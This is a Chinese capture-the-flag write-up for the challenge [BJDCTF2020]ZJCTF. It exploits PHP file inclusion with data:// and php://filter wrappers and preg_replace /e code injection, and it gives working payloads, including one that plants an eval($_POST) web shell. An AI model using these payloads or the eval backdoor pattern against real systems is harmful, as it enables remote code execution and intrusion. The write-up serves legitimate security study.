[BJDCTF2020]ZJCTF,不过如此

P1 文件包含

打开,直接给了源码:

[BJDCTF2020]ZJCTF,不过如此_第1张图片

这题和[ZJCTF 2019]NiZhuanSiWei源码几乎一样……所以直接做了:

第一个点:file_get_contents读取字符串

方法:data://协议,直接抬走

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0= //I have a dream

第二个点:include()文件包含,要求读next.php

方法:php://filter伪协议

file=php://filter/read=convert.base64-encode/resource=next.php

结合一下,成功。Base64后出源码:

text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

[BJDCTF2020]ZJCTF,不过如此_第2张图片

[BJDCTF2020]ZJCTF,不过如此_第3张图片

P2 preg_replace的/e

看一下next.php的源码:

 $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

之前知道正则匹配如果带/e就会有命令执行的风险,搜到了篇文章,直接用他payload就能打通关……http://www.xinyueseo.com/websecurity/158.html

正经学习一下吧:
PHP中的正则替换函数preg_replace:

image-20200406170227174

其中 /e 修饰符已经被弃用:

/e 修正符使 preg_replace() 将 replacement 参数(字符串)当作 PHP 代码(在适当的逆向引用替换完之后)执行。

也就是如果可控replacement,传入php代码的,相当于执行了eval("replacement").

我们来看题目中的代码:

return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);

其中$re,$str是取全局变量$_GET的每个键值得到的,比如传入?a=b,则$re=a,$str=b.

可以看到,pattern和subject都可控,也带了/e修饰符。但replacement不可控。那就没办法了吗?

非也。

分析一下,目前这个正则会在替换过程中执行:eval("strtolower("\\1")"");

strtolower会把所有大写字母字符变为小写,返回处理后的字符串。

\\1转义后就是 '\1'。而\+数字在PHP的正则匹配中是由特殊意义的:

image-20200406171643236

也给了个例子:

[BJDCTF2020]ZJCTF,不过如此_第4张图片

当第一次匹配成功的时候,会把匹配到的匹配项保存起来。之后的匹配过程中,如果遇到之前匹配到过的匹配项,就可以直接匹配。同时:

每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

已知我们的pattern是可控的,如果想要保证能完整匹配到我们传入的$str,最好的方法是:(.*)

即传入.*,但是php有个特性:(之前的MRCTF 套娃一题也考到了)

[BJDCTF2020]ZJCTF,不过如此_第5张图片

那么传入的.*就变成了_*。pattern就出错了,有什么替代的方法吗?\S

[BJDCTF2020]ZJCTF,不过如此_第6张图片

假设我们要匹配的subject为phpinfo();,pattern是\S:

那么replacement就变成了:

strtolower("\\1")--->strtolower("\1")---->strtolower("phpinfo();")

配上/e,在匹配过程中就会执行:

eval('strtolower("phpinfo();")');

这个的执行结果是啥呢?

[BJDCTF2020]ZJCTF,不过如此_第7张图片

strtolower("phpinfo();")中的phpinfo()被当作字符串输出了。

怎样才能执行呢?我们来看php的一个特性

 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 注意:双引号中的函数不会被执行和替换。

那么可变变量又出场了,除了$$a这种套娃替换,他还可以利用上述特性执行命令:

{${phpinfo()}}

如果我们执行了:

eval('strtolower("{${phpinfo()}}")');

在解析执行前,因为被双引号包住了。那么${phpinfo()} 中的 phpinfo() 会被当做变量先执行。

结合一下,我们可以得出一个payload:

next.php/?\S={${phpinfo()}}

成功执行:

[BJDCTF2020]ZJCTF,不过如此_第8张图片

看下disable_functions,发现什么都没有禁:

image-20200406180822967

所以直接构造个连shell:

next.php?\S*={${eval($_POST[a])}}

成功getshell:

[BJDCTF2020]ZJCTF,不过如此_第9张图片

目录下获得flag:

[BJDCTF2020]ZJCTF,不过如此_第10张图片

你可能感兴趣的:([BJDCTF2020]ZJCTF,不过如此)